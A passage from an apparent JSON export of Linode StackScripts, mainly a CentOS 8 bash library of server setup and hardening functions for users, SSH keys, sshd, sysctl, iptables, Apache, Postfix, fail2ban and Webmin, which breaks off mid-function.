${EINFO_INDENT:-0} - 2 ))\n [ \"$EINFO_INDENT\" -lt 0 ] && EINFO_INDENT=0\n return 0\n}\n\nyesno()\n{\n [ -z \"$1\" ] && return 1\n\n case \"$1\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n esac\n\n local value=\n eval value=\\$${1}\n case \"$value\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n *) vewarn \"\\$$1 is not set properly\"; return 1;;\n esac\n}\n\nrc_runlevel()\n{\n rc-status --runlevel\n}\n\n_sanitize_path()\n{\n local IFS=\":\" p= path=\n for p in $PATH; do\n case \"$p\" in\n /lib64/rc/bin|/lib64/rc/sbin);;\n /bin|/sbin|/usr/bin|/usr/sbin);;\n /usr/bin|/usr/sbin);;\n /usr/local/bin|/usr/local/sbin);;\n *) path=\"$path${path:+:}$p\";;\n esac\n done\n echo \"$path\"\n}\n\n# Allow our scripts to support zsh\nif [ -n \"$ZSH_VERSION\" ]; then\n emulate sh\n NULLCMD=:\n alias -g ''${1+\"$@\"}''=''\"$@\"''\n setopt NO_GLOB_SUBST\nfi\n\n# Make a sane PATH\n_PREFIX=\n_PKG_PREFIX=/usr\n_LOCAL_PREFIX=/usr/local\n_LOCAL_PREFIX=${_LOCAL_PREFIX:-/usr/local}\n_PATH=/lib64/rc/bin\ncase \"$_PREFIX\" in\n \"$_PKG_PREFIX\"|\"$_LOCAL_PREFIX\") ;;\n *) _PATH=\"$_PATH:$_PREFIX/bin:$_PREFIX/sbin\";;\nesac\n_PATH=\"$_PATH\":/bin:/sbin:/usr/bin:/usr/sbin\n\nif [ -n \"$_PKG_PREFIX\" ]; then\n _PATH=\"$_PATH:$_PKG_PREFIX/bin:$_PKG_PREFIX/sbin\"\nfi\nif [ -n \"$_LOCAL_PREFIX\" ]; then\n _PATH=\"$_PATH:$_LOCAL_PREFIX/bin:$_LOCAL_PREFIX/sbin\"\nfi\n_path=\"$(_sanitize_path \"$PATH\")\"\nPATH=\"$_PATH${_path:+:}$_path\" ; export PATH\nunset _sanitize_path _PREFIX _PKG_PREFIX _LOCAL_PREFIX _PATH _path\n\nfor arg; do\n case \"$arg\" in\n --nocolor|--nocolour|-C)\n EINFO_COLOR=\"NO\" ; export EINFO_COLOR\n ;;\n esac\ndone\n\nif [ -t 1 ] && yesno \"${EINFO_COLOR:-YES}\"; then\n if [ -z \"$GOOD\" ]; then\n eval $(eval_ecolors)\n fi\nelse\n # We need to have shell stub functions so our init scripts can remember\n # the last ecmd\n for _e in ebegin eend error errorn einfo einfon ewarn ewarnn ewend \\\n vebegin veend veinfo vewarn vewend; do\n eval \"$_e() { local _r; command $_e \\\"\\$@\\\"; _r=\\$?; \\\n EINFO_LASTCMD=$_e; export EINFO_LASTCMD ; return \\$_r; }\"\n done\n unset _e\nfi", "user_defined_fields": []}, {"id": 647176, "username": "sacredheartmedia", "user_gravatar_id": "4b40d1fa8bcb9d6414b6468fb2ef0e75", "label": "StackScript Bash Library for CentOS 8", "description": "A collection of useful bash functions specifically crafted for CentOS8 to be included in other bash StackScripts with a \"source \" line.\n\nThis StackScript does nothing on its own. Do not deploy directly.\n\nJune 3, 2020 - THIS STACKSCRIPT IS UNDER DEVELOPMENT.", "ordinal": 0, "logo_url": "", "images": ["linode/centos8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#\n# StackScript Bash Library for CentOS 8\n#\n# Inspired by Chris Aker''s StackScript Bash Library\n# https://cloud.linode.com/stackscripts/1\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, \n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# * Neither the name of Linode LLC nor the names of its contributors may be\n# used to endorse or promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n# DAMAGE.\n\nsystem_update() {\n # updates all packages and adds the epel repository\n dnf -y install epel-release\n dnf -y update\n dnf config-manager --set-enabled PowerTools\n}\n\ninstall_essentials() {\n # installs commonly used packages \n dnf -y install iptables-services ipset dnf-utils bind-utils policycoreutils-python-utils zip tar htop wget\n}\n\nget_primary_ip() {\n # returns the system''s primary IPv4 address\n hostname -I | cut -d '' '' -f 1\n}\n\nget_primary_ip6() {\n # returns the system''s primary IPv6 address\n hostname -I | cut -d '' '' -f 2\n}\n\nget_rdns() {\n # returns the reverse dns of an IPv4 address\n # ${1} - required - the IPv4 address to lookup\n local -r ip_address=\"${1}\"\n if [ -z \"${ip_address}\" ]; then\n printf \"ERROR: (get_rdns) IP address undefined\\n\"\n return 1;\n fi\n host \"${ip_address}\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nget_rdns_primary_ip() {\n # returns the reverse dns of the system''s primary IPv4 address\n host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//''\n}\n\nset_hostname() {\n # sets the system''s hostname\n # ${1} - required - the hostname to assign\n local -r hostname=\"${1}\"\n if [ -z \"${hostname}\" ]; then\n printf \"ERROR: (set_hostname) hostname undefined\\n\"\n return 1;\n fi\n hostnamectl set-hostname \"${hostname}\"\n}\n\nadd_host_entry() {\n # adds an entry to /etc/hosts\n # ${1} - required - the IP address to set a hosts entry for\n # ${2} - required - the fully-qualified domain name to set to the IP\n # ${3} - optional - the hostname to set to the IP\n local -r ip_address=\"${1}\"\n local -r fqdn=\"${2}\"\n local -r hostname=\"${3}\"\n local -r rdns=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n if [ -z \"${ip_address}\" ] || [ -z \"${fqdn}\" ]; then\n printf \"ERROR: (add_host_entry) IP address and/or FQDN undefined\\n\"\n return 1;\n fi\n echo \"${ip_address} ${fqdn} ${rdns} ${hostname}\" >> /etc/hosts\n}\n\nset_timezone() {\n # sets the system''s timezone\n # ${1} - optional - timezone to set on the system\n local -r timezone=\"${1}\"\n if [ -z \"${timezone}\" ]; then\n timedatectl set-timezone \"UTC\"\n return 1;\n fi\n timedatectl set-timezone \"${timezone}\"\n}\n\nadd_user() {\n # creates a new user \n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n}\n\nadd_sudo_user() {\n # creates a new user with sudo privileges\n # ${1} - required - username\n # ${2} - required - password\n local -r username=\"${1}\"\n local -r password=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${password}\" ]; then\n printf \"ERROR: (add_sudo_user) username and/or password undefined\\n\"\n return 1;\n fi\n if id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_sudo_user) user already exists\\n\"\n return 1;\n fi\n useradd \"${username}\"\n echo \"${username}:${password}\" | chpasswd\n usermod -aG wheel \"${username}\"\n}\n\nremove_user() {\n # removes a user \n # ${1} - required - username\n local -r username=\"${1}\"\n if [ -z \"${username}\" ]; then\n printf \"ERROR: (remove_user) username undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (remove_user) user not found\\n\"\n return 1;\n fi\n killall -KILL -u \"${username}\"\n userdel -Z -r -f \"${username}\"\n}\n\nadd_public_key() {\n # adds a public key to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - public key\n local -r username=\"${1}\"\n local -r public_key=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${public_key}\" ]; then\n printf \"ERROR: (add_public_key) username and/or public key undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key) user not found\\n\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\nadd_public_key_from_github() {\n # adds public keys from a github account to authorized_keys for the specified user\n # ${1} - required - username\n # ${2} - required - github account\n local -r username=\"${1}\"\n local -r github_account=\"${2}\"\n if [ -z \"${username}\" ] || [ -z \"${github_account}\" ]; then\n printf \"ERROR: (add_public_key_from_github) username and/or github account undefined\\n\"\n return 1;\n fi\n if ! id \"${username}\" >/dev/null 2>&1; then\n printf \"ERROR: (add_public_key_from_github) user not found\\n\"\n return 1;\n fi\n local -r public_key=\"$(curl -sSL https://github.com/\"${github_account}\".keys)\"\n if [ \"${public_key}\" == \"Not Found\" ]; then\n printf \"ERROR: (add_public_key_from_github) %s.keys not found\\n\" \"${github_account}\"\n return 1;\n fi\n if [ \"${username}\" == \"root\" ]; then\n mkdir -p /root/.ssh\n touch /root/.ssh/authorized_keys\n echo \"${public_key}\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n mkdir -p /home/\"${username}\"/.ssh\n chmod -R 700 /home/\"${username}\"/.ssh/\n touch /home/\"${username}\"/.ssh/authorized_keys\n echo \"${public_key}\" >> /home/\"${username}\"/.ssh/authorized_keys\n chown -R \"${username}\":\"${username}\" /home/\"${username}\"/.ssh\n chmod 600 /home/\"${username}\"/.ssh/authorized_keys\n}\n\ndisable_root_login() {\n # disables root SSH access\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_root_login() {\n # enables root SSH access (with a key only)\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin prohibit-password/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\ndisable_password_authentication() {\n # disables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nenable_password_authentication() {\n # enables password authentication\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication yes/i\" /etc/ssh/sshd_config\n systemctl restart sshd\n}\n\nget_ssh_port() {\n # returns the system''s SSH port number\n sed -n -e ''s/Port //p'' /etc/ssh/sshd_config\n}\n\nset_ssh_port() {\n # reassigns the SSH port number \n # ${1} - required - SSH port\n local -r ssh_port=\"${1}\"\n if [ -z \"${ssh_port}\" ]; then\n printf \"ERROR: (set_ssh_port) SSH port undefined\\n\"\n return 1;\n fi\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*Port [0-9]*/Port ${ssh_port}/i\" /etc/ssh/sshd_config\n if [ ${ssh_port} != \"22\" ]; then\n semanage port -a -t ssh_port_t -p tcp \"${ssh_port}\"\n fi\n systemctl restart sshd\n}\n\nharden_ssh() {\n # hardens ssh by tweaking default configuration\n # SEE: https://www.sshaudit.com/hardening_guides.html#rhel8\n cp -n /etc/ssh/sshd_config /etc/ssh/sshd_config.orig\n sed -i -e \"s/[# \\t]*AddressFamily [a-z]*/AddressFamily inet/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitRootLogin [a-z\\-]*/PermitRootLogin no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*StrictModes [a-z]*/StrictModes yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxAuthTries [0-9]*/MaxAuthTries 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PubkeyAuthentication [a-z]*/PubkeyAuthentication yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PasswordAuthentication [a-z]*/PasswordAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*HostbasedAuthentication [a-z]*/HostbasedAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ChallengeResponseAuthentication [a-z]*/ChallengeResponseAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*GSSAPIAuthentication [a-z]*/GSSAPIAuthentication no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowAgentForwarding [a-z]*/AllowAgentForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*AllowTcpForwarding [a-z]*/AllowTcpForwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitTunnel [a-z]*/PermitTunnel no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*X11Forwarding [a-z]*/X11Forwarding no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*TCPKeepAlive [a-z]*/TCPKeepAlive no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*IgnoreRhosts [a-z]*/IgnoreRhosts yes/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*PermitEmptyPasswords [a-z]*/PermitEmptyPasswords no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UsePAM [a-z]*/UsePAM no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*UseDNS [a-z]*/UseDNS no/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveInterval [0-9]*/ClientAliveInterval 300/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*ClientAliveCountMax [0-9]*/ClientAliveCountMax 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*MaxSessions [0-9]*/MaxSessions 3/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LoginGraceTime [0-9a-z]*/LoginGraceTime 30/i\" /etc/ssh/sshd_config\n sed -i -e \"s/[# \\t]*LogLevel [a-z]*/LogLevel VERBOSE/i\" /etc/ssh/sshd_config\n # disables the ECDSA host key\n sed -i -e \"s/^HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key$/\\#HostKey \\/etc\\/ssh\\/ssh_host_ecdsa_key/g\" /etc/ssh/sshd_config\n # regenerates the RSA and ED25519 keys\n rm -f /etc/ssh/ssh_host_*\n ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key -N \"\"\n ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -N \"\"\n chgrp ssh_keys /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n chmod g+r /etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_rsa_key\n # removes the small Diffie-Hellman moduli\n awk ''$5 >= 3071'' /etc/ssh/moduli > /etc/ssh/moduli.safe\n mv -f /etc/ssh/moduli.safe /etc/ssh/moduli\n # restricts supported key exchange, cipher, and MAC algorithms\n cp -n /etc/crypto-policies/back-ends/opensshserver.config /etc/crypto-policies/back-ends/opensshserver.config.orig\n echo -e \"CRYPTO_POLICY=''-oCiphers=chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr -oMACs=hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com -oGSSAPIKexAlgorithms=gss-curve25519-sha256- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256 -oHostKeyAlgorithms=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-rsa-cert-v01@openssh.com''\" > /etc/crypto-policies/back-ends/opensshserver.config\n systemctl restart sshd\n}\n\nharden_kernel() {\n cp -n /etc/security/limits.conf /etc/security/limits.conf.orig\n echo ''* hard core 0'' >> /etc/security/limits.conf\n cat < /etc/sysctl.d/sysctl.conf\nkernel.dmesg_restrict = 1\nkernel.kptr_restrict = 1\nkernel.panic = 30\nkernel.yama.ptrace_scope = 1\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.arp_announce = 2\nnet.ipv4.conf.all.arp_ignore = 1\nnet.ipv4.conf.all.log_martians = 1\nnet.ipv4.conf.all.proxy_arp = 0\nnet.ipv4.conf.default.accept_redirects = 0\nnet.ipv4.conf.default.accept_source_route = 0\nnet.ipv4.conf.default.log_martians = 1\nnet.ipv4.conf.default.rp_filter = 1\nnet.ipv4.conf.default.secure_redirects = 0\nnet.ipv4.conf.default.send_redirects = 0\nnet.ipv4.tcp_max_syn_backlog = 4096\nnet.ipv4.tcp_rfc1337 = 1\nnet.ipv4.tcp_syn_retries = 3\nnet.ipv4.tcp_synack_retries = 3\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv6.conf.default.accept_ra_defrtr = 0\nnet.ipv6.conf.default.accept_ra_pinfo = 0\nnet.ipv6.conf.default.accept_ra_rtr_pref = 0\nnet.ipv6.conf.default.accept_redirects = 0\nnet.ipv6.conf.default.accept_source_route = 0\nnet.ipv6.conf.default.autoconf = 0\nnet.ipv6.conf.default.dad_transmits = 0\nnet.ipv6.conf.default.max_addresses = 1\nnet.ipv6.conf.default.router_solicitations = 0\nEOT\n sysctl -p\n}\n\nharden_system() {\n echo \"root\" > /etc/cron.allow\n echo \"ALL : ALL\" > /etc/hosts.deny\n cat < /etc/hosts.allow\nALL : LOCAL\nALL : 192.168.\nALL : 127.0.\nsshd : ALL\nEOT\n chmod 600 /etc/hosts.deny\n chmod 600 /etc/hosts.allow\n chmod 600 /etc/cron.allow\n rm -f /etc/cron.deny\n chmod -R 700 /root\n userdel -Z -r -f adm\n userdel -Z -r -f ftp\n userdel -Z -r -f games\n userdel -Z -r -f lp\n rmdir /usr/games\n rmdir /usr/local/games\n rmdir /var/adm\n rmdir /var/ftp\n rmdir /var/games\n rmdir /var/gopher\n systemctl stop kdump\n systemctl disable kdump\n systemctl mask kdump\n systemctl mask ctrl-alt-del.target\n cat <> /etc/modprobe.d/hardening.conf\nblacklist usb-storage\nblacklist firewire-core\ninstall usb-storage /bin/true\ninstall sctp /bin/true\ninstall dccp /bin/true\ninstall cramfs /bin/true\ninstall freevxfs /bin/true\ninstall jffs2 /bin/true\ninstall hfs /bin/true\ninstall hfsplus /bin/true\ninstall squashfs /bin/true\ninstall udf /bin/true\ninstall cifs /bin/true\ninstall nfs /bin/true\ninstall nfsv3 /bin/true\ninstall nfsv4 /bin/true\ninstall gfs2 /bin/true\ninstall bnep /bin/true\ninstall bluetooth /bin/true\ninstall btusb /bin/true\ninstall net-pf-31 /bin/true\ninstall appletalk /bin/true\ninstall rds /bin/true\ninstall tipc /bin/true\nEOT\n}\n\ndisable_ip6() {\n cat <> /etc/sysctl.d/sysctl.conf\nnet.ipv6.conf.all.disable_ipv6 = 1\nnet.ipv6.conf.default.disable_ipv6 = 1\nnet.ipv6.conf.lo.disable_ipv6 = 1\nEOT\n sysctl -p\n echo \"options ipv6 disable=1\" >> /etc/modprobe.d/hardening.conf\n echo \"NETWORKING_IPV6=no\" >> /etc/sysconfig/network\n echo \"IPV6INIT=no\" >> /etc/sysconfig/network\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT DROP\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_port() {\n # ${1} - required - IPv4 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_port() {\n # ${1} - required - IPv6 TCP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nopen_udp_port() {\n # ${1} - required - IPv4 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n}\n\nopen_ip6_udp_port() {\n # ${1} - required - IPv6 UDP port to open\n local -r port=\"${1}\"\n if [ -z \"${port}\" ]; then\n printf \"ERROR: (open_ip6_port) port undefined\\n\"\n return 1;\n fi\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p udp -m udp --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n}\n\nadd_port() {\n # opens a port in the firewall\n # ${1} - required - IP standard (ipv4/ipv6)\n # ${2} - required - port #\n # ${3} - required - protocol (tcp/udp)\n local -r standard=\"${1}\"\n local -r port=\"${2}\"\n local -r protocol=\"${3}\"\n if [ -z \"${standard}\" ] || [ -z \"${port}\" ] || [ -z \"${protocol}\" ]; then\n printf \"ERROR: (add_port) missing argument - ipv4/ipv6, port #, tcp/udp\\n\"\n return 1;\n fi\n if [ \"${standard}\" == ''ipv4'' ]; then\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n elif [ \"${standard}\" == ''ipv6'' ]; then\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p \"${protocol}\" -m \"${protocol}\" --dport \"${port}\" -m conntrack --ctstate NEW -j ACCEPT\n fi\n}\n\nconfigure_basic_firewall() {\n # removes firewalld and creates a simple iptables firewall\n # accepts pings and SSH connections only\n systemctl stop firewalld\n dnf -y remove firewalld\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n iptables -F\n iptables --policy INPUT DROP\n iptables --policy FORWARD DROP\n iptables --policy OUTPUT ACCEPT\n iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n iptables -A INPUT -i lo -j ACCEPT\n iptables -A INPUT -p icmp -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n ip6tables -F\n ip6tables --policy INPUT DROP\n ip6tables --policy FORWARD DROP\n ip6tables --policy OUTPUT ACCEPT\n ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT\n ip6tables -A INPUT -i lo -j ACCEPT\n ip6tables -A INPUT -p ipv6-icmp -j ACCEPT\n service ip6tables save\n systemctl enable iptables\n systemctl enable ip6tables\n systemctl restart iptables\n systemctl restart ip6tables\n}\n\ninstall_apache() {\n # installs an apache server with a simple configuration and SSL certificate\n # ${1} - optional - the fully-qualified domain name to be used for the SSL certificate\n if [ -z \"${1}\" ]; then\n local -r fqdn=\"$(host \"$(hostname -I | cut -d '' '' -f 1)\" | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\"\n else\n local -r fqdn=\"${1}\"\n fi\n dnf -y install httpd mod_ssl certbot python3-certbot-apache\n cp -n /etc/sysconfig/iptables /etc/sysconfig/iptables.orig\n iptables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n iptables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service iptables save\n systemctl restart iptables\n cp -n /etc/sysconfig/ip6tables /etc/sysconfig/ip6tables.orig\n ip6tables -A INPUT -p tcp -m tcp --dport \"80\" -m conntrack --ctstate NEW -j ACCEPT\n ip6tables -A INPUT -p tcp -m tcp --dport \"443\" -m conntrack --ctstate NEW -j ACCEPT\n service ip6tables save\n systemctl restart ip6tables\n cat < /etc/httpd/conf.d/vhosts.conf\n\n ServerName ${fqdn}\n \n Options None\n AllowOverride none\n Require all granted\n \n\nEOT\n systemctl enable httpd\n systemctl restart httpd\n cp -n /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.orig\n certbot --apache --noninteractive --agree-tos --register-unsafely-without-email -d \"${fqdn}\" -w /var/www/html/\n local -r certificatefile=\"$(sed -n -e ''s/SSLCertificateFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n local -r certificatekeyfile=\"$(sed -n -e ''s/SSLCertificateKeyFile //p'' /etc/httpd/conf.d/vhosts-le-ssl.conf)\"\n cp -n /etc/httpd/conf.d/vhosts-le-ssl.conf /etc/httpd/conf.d/vhosts-le-ssl.conf.original\n rm -f /etc/httpd/conf.d/vhosts-le-ssl.conf\n if [ -n \"${certificatefile}\" ] && [ -n \"${certificatekeyfile}\" ]; then\n sed -i -e \"s#SSLCertificateFile .*#SSLCertificateFile ${certificatefile}#i\" /etc/httpd/conf.d/ssl.conf\n sed -i -e \"s#SSLCertificateKeyFile .*#SSLCertificateKeyFile ${certificatekeyfile}#i\" /etc/httpd/conf.d/ssl.conf\n fi\n systemctl restart httpd\n}\n\ninstall_postfix() {\n # installs postfix and enables local mail delivery and loopback only\n dnf -y install postfix\n cp -n /etc/postfix/main.cf /etc/postfix/main.cf.orig\n sed -i -e \"s/[# \\t]*inet_protocols = .*/inet_protocols = ipv4/i\" /etc/postfix/main.cf\n sed -i -e \"s/[# \\t]*smtpd_banner =.*/smtpd_banner = \\$myhostname ESMTP/i\" /etc/postfix/main.cf\n systemctl enable postfix\n systemctl restart postfix\n}\n\ninstall_fail2ban() {\n # installs fail2ban-server with a simple configuration\n local -r ssh_port=\"$(sed -n -e ''s/^[ \\t]*Port //p'' /etc/ssh/sshd_config)\"\n dnf -y install fail2ban-server\n cat < /etc/fail2ban/jail.local\n[DEFAULT] \nbantime = 3600\nfindtime = 300\nmaxretry = 5\nbanaction = iptables-multiport\nbackend = systemd\n\n[sshd]\nenabled = true\nport = ${ssh_port}\nEOT\n systemctl enable fail2ban\n systemctl start fail2ban\n}\n\ninstall_webmin() {\n # installs webmin with a simple configuration\n cat < /etc/yum.repos.d/webmin.repo\n[Webmin]\nname=Webmin Distribution Neutral\nbaseurl=https://download.webmin.com/download/yum\nenabled=1\ngpgcheck=1\ngpgkey=https://download.webmin.com/jcameron-key.asc\nEOT\n dnf -y install webmin\n sed -i \"s/ipv6=1/ipv6=0/i\" /etc/webmin/miniserv.conf\n if [ -e \"/etc/httpd/conf.d/ssl.conf\" ]; then\n local -r certfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n local -r keyfile=\"$(sed -n -e ''s/^[ \\t]*SSLCertificateKeyFile //p'' /etc/httpd/conf.d/ssl.conf)\"\n echo \"#keyfile=${keyfile}\" >> /etc/webmin/miniserv.conf\n echo 